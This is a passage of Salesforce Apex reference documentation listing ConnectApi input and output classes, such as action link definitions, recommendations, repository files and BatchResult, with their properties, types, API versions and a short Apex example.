35.0RequiredA list of up to 10 topic names for a feed item
or 100 topic names for a record.
List<String>topicNames
1482
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
37.0OptionalA list of suggested topics to assign to a
record or feed item to improve future topic
suggestions.
List<String>topicSuggestions
SEE ALSO:
reassignTopicsByName(communityId, recordId, topicNames)
ConnectApi.TopicsCapabilityInput
Assign topics to a feed element.
Available VersionRequired or
Optional
DescriptionTypeProperty
38.0OptionalName of the parent topic in the community
to which the feed element belongs.
StringcontextTopic
Name
38.0RequiredList of topics to assign to the feed element.List<String>topics
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.UserInput Class
Used to update a user.
Available VersionDescriptionTypeProperty
29.0The aboutMe property of a ConnectApi.UserDetail output
object. This property populates the “About Me” section of the user profile,
which is visible to all members of a community or organization.
StringaboutMe
SEE ALSO:
updateUser(communityId, userId, userInput)
ConnectApi Output Classes
Most ConnectApi methods return instances of ConnectApi output classes.
All properties are read-only, except for instances of output classes created within test code.
All output classes are concrete unless marked abstract in this documentation.
All concrete output classes have no-argument constructors that you can invoke only from test code. See Testing ConnectApi Code.
1483
ConnectApi Output ClassesReference
ConnectApi.AbstractContentHubItemType
An item type associated with a repository folder.
This class is abstract.
Superclass of:
•ConnectApi.ContentHubItemTypeDetail
•ConnectApi.ContentHubItemTypeSummary
Available VersionDescriptionTypeProperty Name
39.0Specifies support for content streaming. Values are:ConnectApi.
ContentHub
StreamSupport
contentStream
Support •ContentStreamAllowed
•ContentStreamNotAllowed
•ContentStreamRequired
39.0Description of the item type.Stringdescription
39.0Display name of the item type.StringdisplayName
39.0ID of the item type.Stringid
39.0Indicates whether the item type can have versions.BooleanisVersionable
39.0URL to the detailed information of the item type.Stringurl
ConnectApi.AbstractDirectoryEntrySummary
A directory entry with summary information.
This class is abstract.
Superclass of:
•ConnectApi.RepositoryGroupSummary
•ConnectApi.RepositoryUserSummary
Available VersionDescriptionTypeProperty Name
39.0Domain of the directory entry.Stringdomain
39.0Email of the directory entry.Stringemail
39.0ID of the directory entry.Stringid
39.0Type of directory entry. Values are:ConnectApi.
ContentHub
type
•GroupEntry
DirectoryEntry
Type •UserEntry
1484
ConnectApi Output ClassesReference
ConnectApi.AbstractMessageBody Class
This class is abstract.
Superclass of:
•ConnectApi.FeedBody Class
•ConnectApi.MessageBody Class
Available
Version
DescriptionTypeName
35.0Indicates whether the body is rich text.BooleanisRichText
28.0List of message segmentsList<ConnectApi.
MessageSegment>
messageSegments
28.0Display-ready text. Use this text if you don’t want to process
the message segments.
Stringtext
ConnectApi.AbstractRecommendation Class
A recommendation.
This class is abstract.
Superclass of:
•ConnectApi.EntityRecommendation Class
•ConnectApi.NonEntityRecommendation Class
ConnectApi.NonEntityRecommendation Class isn’t used in version 34.0 and later. In version 34.0 and later,
ConnectApi.EntityRecommendation Class is used for all recommendations.
Available VersionDescriptionTypeProperty Name
32.0The recommendation explanation.ConnectApi.
Recommendation
Explanation
explanation
34.0A platform action group instance with state
appropriate for the context user.
ConnectApi.
PlatformAction
Group
platformAction
Group
32.0Specifies the type of record being recommended.ConnectApi.
RecommendationType
recommendation
Type
34.0URL for the recommendation.Stringurl
SEE ALSO:
ConnectApi.RecommendationsCapability
ConnectApi.RecommendationCollection Class
1485
ConnectApi Output ClassesReference
ConnectApi.AbstractRecommendationExplanation Class
Explanation for a recommendation.
This class is abstract.
Superclass of ConnectApi.RecommendationExplanation Class.
Available VersionDescriptionTypeProperty Name
32.0Summary explanation for recommendation.Stringsummary
32.0Indicates the reason for the recommendation.ConnectApi.
Recommendation
ExplanationType
type
•ArticleHasRelatedContent—Articles
with related content to a context article.
•ArticleViewedTogether—Articles often
viewed together with the article that the context
user just viewed.
•ArticleViewedTogetherWithViewers—Articles
often viewed together with other records that
the context user views.
•Custom—Custom recommendations.
•FilePopular—Files with many followers or
views.
•FileViewedTogether—Files often viewed
at the same time as other files that the context
user views.
•FollowedTogetherWithFollowees—Users
often followed together with other records that
the context user follows.
•GroupMembersFollowed—Groups with
members that the context user follows.
•GroupNew—Recently created groups.
•GroupPopular—Groups with many active
members.
•ItemViewedTogether—Records often
viewed at the same time as other records that
the context user views.
•PopularApp—Applications that are popular.
•RecordOwned—Records that are owned by
the context user.
•RecordParentOfFollowed—Parent
records of records that the context user follows.
•RecordViewed—Records that the context
user recently viewed.
•TopicFollowedTogether—Topics often
followed together with the record that the
context user just followed.
1486
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
•TopicFollowedTogetherWithFollowees—Topics
often followed together with other records that
the context user follows.
•TopicPopularFollowed—Topics with
many followers.
•TopicPopularLiked—Topics on posts that
have many likes.
•UserDirectReport—Users who report to
the context user.
•UserFollowedTogether—Users often
followed together with the record that the
context user just followed.
•UserFollowsSameUsers—Users who
follow the same users as the context user.
•UserManager—The context user’s manager.
•UserNew—Recently created users.
•UserPeer—Users who report to the same
manager as the context user.
•UserPopular—Users with many followers.
•UserViewingSameRecords—Users who
view the same records as the context user.
ConnectApi.AbstractRecordField Class
This class is abstract.
Superclass of:
•ConnectApi.BlankRecordField Class
•ConnectApi.LabeledRecordField Class
A field on a record object.
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
1487
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
29.0The type of the field. One of these values:Stringtype
•Address
•Blank
•Boolean
•Compound
•CreatedBy
•Date
•DateTime
•Email
•LastModifiedBy
•Location
•Name
•Number
•Percent
•Phone
•Picklist
•Reference
•Text
•Time
SEE ALSO:
ConnectApi.RecordViewSection Class
ConnectApi.AbstractRecordView Class
This class is abstract.
Subclass of ConnectApi.ActorWithId Class
Superclass of:
•ConnectApi.RecordSummary Class
•ConnectApi.RecordView Class
A view of any record in the organization, including a custom object record. This object is used if a specialized object, such as User or
ChatterGroup, is not available for the record type.
Available VersionDescriptionTypeName
29.0The localized name of the record.Stringname
1488
ConnectApi Output ClassesReference
ConnectApi.AbstractRepositoryFile
A repository file.
This class is abstract.
Subclass of ConnectApi.AbstractRepositoryItem.
Superclass of:
•ConnectApi.RepositoryFileDetail
•ConnectApi.RepositoryFileSummary
Available VersionDescriptionTypeProperty Name
39.0Checkin comment of the file.StringcheckinComment
39.0Length in bytes of the content of the file.IntegercontentSize
39.0URL to the repository file content.StringdownloadUrl
39.0URL of this file’s content in the external system.Stringexternal
ContentUrl
39.0URL of this file in the external system.Stringexternal
DocumentUrl
39.0External file permission information, such as available
groups, available permission types, and current
ConnectApi.
ExternalFile
PermissionInformation
external
FilePermission
Information sharing status, or null if
includeExternalFilePermissionsInfo
is false.
39.0Mime type of the file.StringmimeType
39.0URL to the thumbnail preview (240 x 180 PNG).StringpreviewUrl
Thumbnail
39.0URL to the big thumbnail preview (720 x 480 PNG).StringpreviewUrl
ThumbnailBig
39.0URL to the tiny thumbnail preview (120 x 90 PNG).StringpreviewUrl
ThumbnailTiny
39.0URL to the previews.StringpreviewsUrl
39.0Title of the file.Stringtitle
39.0ID of the file version in the external system.StringversionId
ConnectApi.AbstractRepositoryFolder
A repository folder.
This class is abstract.
Subclass of ConnectApi.AbstractRepositoryItem.
Superclass of:
1489
ConnectApi Output ClassesReference
•ConnectApi.RepositoryFolderDetail
•ConnectApi.RepositoryFolderSummary
Available VersionDescriptionTypeProperty Name
39.0URL of this folder in the external system.StringexternalFolderUrl
39.0URL that lists the files and folders in this folder.StringfolderItemsUrl
39.0Absolute path of the folder in the external system.Stringpath
ConnectApi.AbstractRepositoryItem
A repository item.
This class is abstract.
Superclass of:
•ConnectApi.AbstractRepositoryFile
•ConnectApi.AbstractRepositoryFolder
Available VersionDescriptionTypeProperty Name
39.0Name of the user who created the item.StringcreatedBy
39.0Date the item was created.DatetimecreatedDate
39.0Description of the Item.Stringdescription
39.0ID of the item.Stringid
39.0URL to the item type information.StringitemTypeUrl
39.0Name of the user who last modified the item.StringmodifiedBy
39.0Date the item was last modified.DatetimemodifiedDate
39.0Motif of the item.ConnectApi.Motifmotif
39.0Name of the item.Stringname
39.0Item external repository.ConnectApi.
Reference
repository
39.0Item type, file or folder.Stringtype
39.0The URL to the item.Stringurl
ConnectApi.ActionLinkDefinition Class
The definition of an action link. Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this
reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have “View All Data” permission.
1490
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0The action link URL. For example, a Ui action link
URL is a Web page. A Download action link URL is
StringactionUrl
a link to the file to download. Ui and Download
action link URLs are provided to clients. An Api or
ApiAsync action link URL is a REST resource. Api
and ApiAsync action link URLs aren’t provided to
clients. Links to Salesforce can be relative. All other
links must be absolute and start with https://.
33.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z.
DatetimecreatedDate
33.0ID of a single user to exclude from performing the
action. If you specify an excludedUserId, you
can’t specify a userId.
StringexcludedUserId
33.0true if this action is the default action link in the
action link group; false otherwise. There can be
BooleangroupDefault
only one default action link per action link group. The
default action link gets distinct styling in the
Salesforce UI.
33.0The request headers for the Api and ApiAsync
action link types.
List<ConnectApi.
RequestHeader>
headers
33.0The 18-character ID for the action link definition.Stringid
34.0A custom label to display on the action link button.
A label value can be set only in an action link
template.
Action links have four statuses: NewStatus,
PendingStatus, SuccessStatus, and FailedStatus. These
strings are appended to the label for each status:
Stringlabel
•label
•label Pending
•label Success
•label Failed
For example, if the value of label is “See Example,”
the values of the four action link states are: See
Example, See Example Pending, See Example Success,
and See Example Failed.
An action link can use either label or labelKey
to generate label names, it can’t use both. If label
has a value, the value of labelKey is None. If
labelKey has a value other than None, the value
of label is null.
1491
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0Key for the set of labels to show in the user interface.
A set includes labels for these states: NewStatus,
StringlabelKey
PendingStatus, SuccessStatus, FailedStatus. For
example, if you use the Approve key, you get these
labels: Approve, Pending, Approved, Failed.
For a complete list of label keys, see Action Links
Labels.
33.0The HTTP method. One of these values:ConnectApi.
HttpRequestMethod
method
•HttpDelete—Returns HTTP 204 on success.
Response body or output class is empty.
•HttpGet—Returns HTTP 200 on success.
•HttpHead—Returns HTTP 200 on success.
Response body or output class is empty.
•HttpPatch—Returns HTTP 200 on success or
HTTP 204 if the response body or output class is
empty.
•HttpPost—Returns HTTP 201 on success or
HTTP 204 if the response body or output class is
empty. Exceptions are the batch posting
resources and methods, which return HTTP 200
on success.
•HttpPut—Return HTTP 200 on success or
HTTP 204 if the response body or output class is
empty.
33.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z.
DatetimemodifiedDate
33.0The request body for Api and ApiAsync action
link types.
StringrequestBody
Note: Escape quotation mark characters in
the requestBody value.
33.0true to require the user to confirm the action;
false otherwise.
Booleanrequires
Confirmation
33.0The ID of the action link template from which to
instantiate this action link. If the action link isn’t
associated with a template, the value is null.
StringtemplateId
33.0Defines the type of action link. Values are:ConnectApi.
ActionLinkType
type
•Api—The action link calls a synchronous API at
the action URL. Salesforce sets the status to
SuccessfulStatus or FailedStatus
1492
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
based on the HTTP status code returned by your
server.
•ApiAsync—The action link calls an
asynchronous API at the action URL. The action
remains in a PendingStatus state until a
third party makes a request to
/connect/action-links/actionLinkId
to set the status to SuccessfulStatus or
FailedStatus when the asynchronous
operation is complete.
•Download—The action link downloads a file
from the action URL.
•Ui—The action link takes the user to a Web
page at the action URL.
Note: Invoking ApiAsync action links from
an app requires a call to set the status.
However, there isn’t currently a way to set the
status of an action link using Apex. To set the
status, use Chatter REST API. See the Action
Link resource in the Chatter REST API Developer
Guide for more information.
33.0The ID of the user who can execute the action. If not
specified or null, any user can execute the action.
StringuserId
If you specify a userId, you can’t specify an
excludedUserId.
SEE ALSO:
ConnectApi.ActionLinkGroupDefinition Class
ConnectApi.ActionLinkDiagnosticInfo Class
Any diagnostic information that may exist for an executed action link. Diagnostic info is provided only for users who can access the
action link.
Available VersionDescriptionTypeProperty Name
33.0Any diagnostic information returned when an action
link is executed. Diagnostic information is provided
only for users who can access the action link.
StringdiagnosticInfo
33.0The URL for this action link diagnostic information.Stringurl
1493
ConnectApi Output ClassesReference
ConnectApi.ActionLinkGroupDefinition Class
The definition of an action link group. Information in the action link group definition can be sensitive to a third party (for example, OAuth
bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read,
modify, or delete the definition. In addition, the user making the call must have created the definition or have “View All Data” permission.
Available VersionDescriptionTypeProperty Name
33.0A collection of action link definitions that make up
the action link group. Within an action link group,
List<ConnectApi.
ActionLinkDefinition>
actionLinks
action links are displayed in the order listed in the
actionLinks property of the
ConnectApi.ActionLinkGroupDefinitionInput
class. Within a feed item, action link groups are
displayed in the order specified in the
actionLinkGroupIds property of the
ConnectApi.AssociatedActionsCapabilityInput
class.
33.0Indicates the priority and location of the action links.
Values are:
ConnectApi.
PlatformAction
GroupCategory
category
•Primary—The action link group is displayed
in the body of the feed element.
•Overflow—The action link group is displayed
in the overflow menu of the feed element.
33.0ISO8601 date string, for example,
2011-02-25T18:24:31.000Z.
DatetimecreatedDate
33.0Defines the number of times an action link can be
executed. Values are:
ConnectApi.
ActionLink
ExecutionsAllowed
executions
Allowed
•Once—An action link can be executed only
once across all users.
•OncePerUser—An action link can be
executed only once for each user.
•Unlimited—An action link can be executed
an unlimited number of times by each user. If the
action link’s actionType is Api or
ApiAsync, you can’t use this value.
33.0ISO 8601 date string, for example,
2011-02-25T18:24:31.000Z, that represents the date
DatetimeexpirationDate
and time this action group expires and can no longer
be executed. If the value is null, there isn’t an
expiration date.
33.018-character ID of the action link group definition.Stringid
33.0ISO8601 date string, for example,
2011-02-25T18:24:31.000Z.
DatetimemodifiedDate
1494
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0The ID of the action link group template from which
to instantiate this action link group, or null if this
group isn’t associated with a template.
StringtemplateId
33.0The URL for this action link group definition.Stringurl
ConnectApi.ActivitySharingResult
The results of sharing a captured email or event.
Available VersionDescriptionTypeProperty Name
39.0Whether the share operation succeeded or not.Booleansuccess
ConnectApi.Actor Class
This class is abstract.
Superclass of:
•ConnectApi.ActorWithId Class
•ConnectApi.RecommendedObject
•ConnectApi.UnauthenticatedUser Class
Available VersionDescriptionTypeName
28.0Name of the actor, such as the group name.Stringname
1495
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0One of the following:Stringtype
•file
•group
•recommendedObject (version 34.0 and later)
•unauthenticateduser
•user
•record type name—the name of the record type, such
as myCustomObject__c or Account
SEE ALSO:
ConnectApi.CaseCommentCapability Class
ConnectApi.EntityRecommendation Class
ConnectApi.EditCapability
ConnectApi.FeedEntitySummary
ConnectApi.FeedItem Class
ConnectApi.FeedItemSummary
ConnectApi.Subscription Class
ConnectApi.ActorWithId Class
This class is abstract.
Subclass of: ConnectApi.Actor Class
Superclass of:
•ConnectApi.AbstractRecordView Class
•ConnectApi.ArticleSummary
•ConnectApi.ChatterGroup Class
•ConnectApi.ContentHubRepository
•ConnectApi.File Class
•ConnectApi.RelatedFeedPost
•ConnectApi.User Class
Available VersionDescriptionTypeName
28.0Actor’s 18-character IDStringid
28.0An icon that identifies the actor as a user, group, file, or custom
object. The icon isn’t the user or group photo, and it isn’t a preview
of the file. The motif can also contain the object’s base color.
ConnectApi.
Motif
motif
28.0If the context user is following the item, this contains information
about the subscription, else returns null.
ConnectApi.
Reference
mySubscription
1496
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0Chatter REST API URL for the resourceStringurl
SEE ALSO:
ConnectApi.FeedElement Class
ConnectApi.FeedEntitySummary
ConnectApi.GroupRecord Class
ConnectApi.MentionSegment Class
ConnectApi.RecordSummaryList Class
ConnectApi.Address Class
Available VersionDescriptionTypeName
28.0Name of the cityStringcity
28.0Name of the countryStringcountry
28.0Formatted address per the locale of the context userStringformattedAddress
28.0Name of the state, province, or so onStringstate
28.0Street numberStringstreet
28.0Zip or postal codeStringzip
SEE ALSO:
ConnectApi.DatacloudCompany Class
ConnectApi.DatacloudContact
ConnectApi.UserDetail Class
ConnectApi.Announcement
An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or
replaced by another announcement.
Available VersionDescriptionTypeName
31.0The Salesforce UI displays an announcement until 11:59
p.m. on this date unless another announcement is posted
DatetimeexpirationDate
first. The Salesforce UI ignores the time value in the
expirationDate. However, you can use the time value
to create your own display logic in your own UI.
31.0The feed element that contains the body of the
announcement and its associated comments, likes, and so
on.
ConnectApi.
FeedElement Class
feedElement
1497
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
31.018-character ID of the announcement.Stringid
36.0Specifies whether the announcement is archived.BooleanisArchived
36.0Specifies whether the announcement is sent as an email
to all group members.
BooleansendEmails
33.0The URL to the announcement.Stringurl
SEE ALSO:
ConnectApi.AnnouncementPage
ConnectApi.ChatterGroup Class
ConnectApi.AnnouncementPage
A collection of announcements.
Available VersionDescriptionTypeName
31.0A collection of ConnectApi.Announcement objects.List<ConnectApi
.Announcement>
announcements
31.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
31.0Chatter REST API URL identifying the next page or null if
there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
31.0Chatter REST API URL identifying the previous page or null
if there isn’t a previous page.
StringpreviousPageUrl
ConnectApi.ApprovalAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.ApprovalCapability Class is
used.
Subclass of ConnectApi.FeedItemAttachment Class
Available VersionDescriptionTypeName
28.0–31.0A work item ID.Stringid
28.0–31.0Collection of approval post template fieldsList
<ConnectApi.
postTemplateFields
ApprovalPost
TemplateField>
1498
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
30.0–31.0An approval step ID.Stringprocess
InstanceStepId
28.0–31.0Specifies the status of a workflow process.ConnectApi.
WorkflowProcess
Status Enum
status
•Approved
•Fault
•Held
•NoResponse
•Pending
•Reassigned
•Rejected
•Removed
•Started
ConnectApi.ApprovalCapability Class
If a feed element has this capability, it includes information about an approval.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0The work item ID. The work item ID is null if there
isn’t a pending work item associated with the
approval record.
Stringid
32.0The details of the approval post template field.List<ConnectApi.
ApprovalPost
TemplateField>
postTemplate
Fields
32.0The process instance step ID. The associated record
represents one step in an approval process.
StringprocessInstance
StepId
32.0The status of the approval.ConnectApi.
WorkflowProcess
Status
status
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.ApprovalPostTemplateField Class
Available VersionDescriptionTypeName
28.0The field nameStringdisplayName
1499
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0The field value or null if the field is set to null.StringdisplayValue
28.0A record ID
If no record exists or if the reference is null, this value is null.
ConnectApi.
Reference
record
SEE ALSO:
ConnectApi.ApprovalCapability Class
ConnectApi.ArticleItem Class
Article item in question and answers suggestions.
Available VersionDescriptionTypeProperty Name
32.0Id of the article.Stringid
32.0The rating of the article.Doublerating
32.0Title of the article.Stringtitle
32.0Link URL of the article.StringurlLink
32.0Number of votes given to the article.IntegerviewCount
SEE ALSO:
ConnectApi.QuestionAndAnswersSuggestions Class
ConnectApi.ArticleSummary
A knowledge article summary.
Subclass of ConnectApi.ActorWithId Class
Available VersionDescriptionTypeProperty Name
37.0Type of the knowledge article.StringarticleType
39.0ID of the knowledge article version.StringknowledgeArticle
VersionId
37.0Last published date of the knowledge article.DatetimelastPublishedDate
37.0The rating of the article.Doublerating
37.0Summary of the knowledge article contents.Stringsummary
37.0Title of the knowledge article.Stringtitle
37.0URL name of the knowledge article.StringurlName
1500
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
38.0Number of times the knowledge article has been
viewed.
IntegerviewCount
ConnectApi.AssociatedActionsCapability Class
If a feed element has this capability, it has platform actions associated with it.
Available VersionDescriptionTypeProperty Name
33.0The platform action groups associated with a feed
element. Platform action groups are returned in the
List<ConnectApi.
PlatformActionGroup>
platformAction
Groups
order specified in the
ConnectApi.AssociatedActions
CapabilityInput class.
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.AudienceCriteria
Recommendation audience criteria.
This class is abstract.
This class is a superclass of:
•ConnectApi.CustomListAudienceCriteria
•ConnectApi.NewUserAudienceCriteria
Available VersionDescriptionTypeProperty Name
36.0Specifies the recommendation audience criteria type.
One of these values:
ConnectApi.
RecommendationAudience
CriteriaType
type
•CustomList—A custom list of users makes
up the audience.
•MaxDaysInCommunity—New community
members make up the audience.
SEE ALSO:
ConnectApi.RecommendationAudience
ConnectApi.BannerCapability Class
If a feed element has this capability, it has a banner motif and style.
Subclass of ConnectApi.FeedElementCapability Class.
1501
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
31.0A banner motif.ConnectApi.Motifmotif
31.0Decorates a feed item with a color and set of icons.
Possible value:
ConnectApi.BannerStylestyle
•Announcement—An announcement displays
in a designated location in the Salesforce UI until
11:59 p.m. on its expiration date, unless it’s
deleted or replaced by another announcement.
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.BannerPhoto
A banner photo.
Available VersionDescriptionTypeProperty Name
36.0URL to the banner photo in a large format. This URL
is available only to authenticated users.
StringbannerPhotoUrl
36.018-character version ID of the banner photo.StringbannerPhoto
VersionId
36.0URL to the banner photo.Stringurl
SEE ALSO:
ConnectApi.ChatterGroup Class
ConnectApi.UserDetail Class
ConnectApi.BasicTemplateAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.EnhancedLinkCapability is
used.
Subclass of ConnectApi.FeedItemAttachment Class
Objects of this type are returned by attachments in feed items with type BasicTemplate.
Available
Version
DescriptionTypeProperty
28.0–31.0An optional description with a 500 character limit.Stringdescription
28.0–31.0An optional icon.ConnectApi.Iconicon
28.0–31.0If linkURL refers to a Salesforce record, linkRecordId
contains the ID of the record.
StringlinkRecordId
1502
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeProperty
28.0–31.0An optional URL to a detail page if there is additional content
that can’t be displayed inline. Do not specify linkUrl unless
you specify a title.
StringlinkUrl
28.0–31.0An optional title to the detail page. If linkUrl is specified, the
title links to linkUrl.
Stringtitle
ConnectApi.BatchResult
The result of an operation returned by a batch method.
Namespace
ConnectApi
Usage
Calls to batch methods return a list of BatchResult objects. Each element in the BatchResult list corresponds to the strings
in the list parameter passed to the batch method. The first element in the BatchResult list matches the first string passed in the
list parameter, the second element corresponds with the second string, and so on. If only one string is passed, the BatchResult list
contains a single element.
Example
The following example shows how to obtain and iterate through the returned ConnectApi.BatchResult objects. The code
adds two group IDs to a list. One of group IDs is incorrect, which causes a failure when the code calls the batch method. After it calls the
batch method, it iterates through the results to determine whether the operation was successful or not for each group ID in the list. The
code writes the ID of every group that was processed successfully to the debug log. The code writes an error message for every failed
group.
This example generates one successful operation and one failure.
List<String> myList = new List<String>();
// Add one correct group ID.
myList.add('0F9D00000000oOT');
// Add one incorrect group ID.
myList.add('0F9D00000000izf');
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null,
myList);
// Iterate through each returned result.
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the group ID.
ConnectApi.ChatterGroupSummary groupSummary;
if(batchResult.getResult() instanceof ConnectApi.ChatterGroupSummary) {
groupSummary = (ConnectApi.ChatterGroupSummary) batchResult.getResult();
1503
ConnectApi Output ClassesReference
}
System.debug('SUCCESS');
System.debug(groupSummary.id);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}
IN THIS SECTION:
BatchResult Methods
BatchResult Methods
The following are instance methods for BatchResult.
IN THIS SECTION:
getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.
getErrorMessage()
Returns a String that contains an error message.
getErrorTypeName()
Returns a String that contains the name of the error type.
getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example,
if you call getMembershipBatch(), a successful call to BatchResult getResult() returns a
ConnectApi.GroupMembership object.
isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.
getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.
Signature
public ConnectApi.ConnectApiException getError()
Return Value
Type: ConnectApi.ConnectApiException
getErrorMessage()
Returns a String that contains an error message.
1504
ConnectApi Output ClassesReference
Signature
public String getErrorMessage()
Return Value
Type: String
Usage
Note that the error message won’t make a round trip through a Visualforce view state, because exceptions can’t be serialized.
getErrorTypeName()
Returns a String that contains the name of the error type.
Signature
public String getErrorTypeName()
Return Value
Type: String
getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example, if
you call getMembershipBatch(), a successful call to BatchResult getResult() returns a
ConnectApi.GroupMembership object.
Signature
public Object getResult()
Return Value
Type: Object
isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
1505
ConnectApi Output ClassesReference
ConnectApi.BlankRecordField Class
Subclass of ConnectApi.AbstractRecordField Class
A record field displayed as a place holder in a grid of fields.
ConnectApi.BookmarksCapability Class
If a feed element has this capability, the context user can bookmark it.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0Indicates whether the feed element has been
bookmarked by the context user (true) or not
(false).
BooleanisBookmarked
ByCurrentUser
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.BundleCapability Class
If a feed element has this capability, it has a container of feed elements called a bundle.
This class is abstract.
Subclass of ConnectApi.FeedElementCapability Class.
Superclass of:
•ConnectApi.GenericBundleCapability Class
•ConnectApi.TrackedChangeBundleCapability
.
Available VersionDescriptionTypeProperty Name
31.0Defines this feed element's bundle type. The bundle
type determines what additional information appears
in the bundle.
ConnectApi.BundleTypebundleType
31.0A collection of feed elements.ConnectApi.
FeedElementPage
page
31.0The total number of feed elements that this bundle
aggregates.
IntegertotalElements
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
1506
ConnectApi Output ClassesReference
ConnectApi.CanvasCapability Class
If a feed element has this capability, it renders a canvas app.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0A description of the canvas app. The maximum size
is 255 characters.
Stringdescription
32.0The API name (developer name) of the connected
app.
StringdeveloperName
32.0The height of the canvas app in pixels.Stringheight
32.0The icon for the canvas app.ConnectApi.Iconicon
32.0A unique namespace prefix for the canvas app.StringnamespacePrefix
32.0JSON parameters passed to the canvas app.Stringparameters
32.0A thumbnail URL to a preview image. The maximum
thumbnail size is 120 pixels by 120 pixels.
StringthumbnailUrl
32.0A title for the canvas link.Stringtitle
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.CanvasTemplateAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.CanvasCapability Class is used.
Subclass of ConnectApi.FeedItemAttachment Class
Objects of this type are returned by attachments in feed items with type CanvasPost.
Available VersionDescriptionTypeProperty
29.0–31.0Optional. Description of the canvas app. The maximum length of this
field is 500 characters.
Stringdescription
29.0–31.0Specifies the developer name (API name) of the canvas app.StringdeveloperName
29.0–31.0Optional. The height of the canvas app in pixels. Default height is 200
pixels.
Stringheight
29.0–31.0The canvas app icon.ConnectApi.Iconicon
29.0–31.0Optional. The namespace prefix of the Developer Edition organization
in which the canvas app was created.
StringnamespacePrefix
29.0–31.0Optional. Parameters passed to the canvas app in JSON format. Example:
{'isUpdated'='true'}
Stringparameters
1507
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty
29.0–31.0Optional. A URL to a thumbnail image for the canvas app. Maximum
dimensions are 120x120 pixels.
StringthumbnailUrl
29.0–31.0Specifies the title of the link used to call the canvas app.Stringtitle
ConnectApi.CaseComment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.CaseCommentCapability Class
is used.
Subclass of ConnectApi.FeedItemAttachment Class
Objects of this type are returned by attachments in feed items with type CaseCommentPost.
Available
Version
DescriptionTypeName
28.0–31.0Specifies the type of user who made the comment.ConnectApi.
CaseActorType
Enum
actorType
•Customer—if a Chatter customer made the comment
•CustomerService—if a service representative made the
comment
28.0–31.0Comment’s creatorConnectApi.
User
Summary
createdBy
28.0–31.0ISO8601 date string, for example, 2011-02-25T18:24:31.000ZDatetimecreatedDate
28.0–31.0Comment’s 18–character IDStringid
28.0–31.0Specifies whether the comment has been publishedBooleanpublished
28.0–31.0Comment’s textStringtext
ConnectApi.CaseCommentCapability Class
If a feed element has this capability, it has a case comment on the case feed.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0Specifies the type of user who made the comment.ConnectApi.
CaseActorType
actorType
32.0Information about the user who created the
comment.
ConnectApi.ActorcreatedBy
32.0ISO8601 date string, for example,
2011-02-25T18:24:31.000Z.
DatetimecreatedDate
1508
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0Specifies an event type for a comment in the case
feed.
ConnectApi.
CaseComment
EventType
eventType
32.018-character ID of case comment.Stringid
32.0Specifies whether the comment has been published.Booleanpublished
32.0Text of the case comment.Stringtext
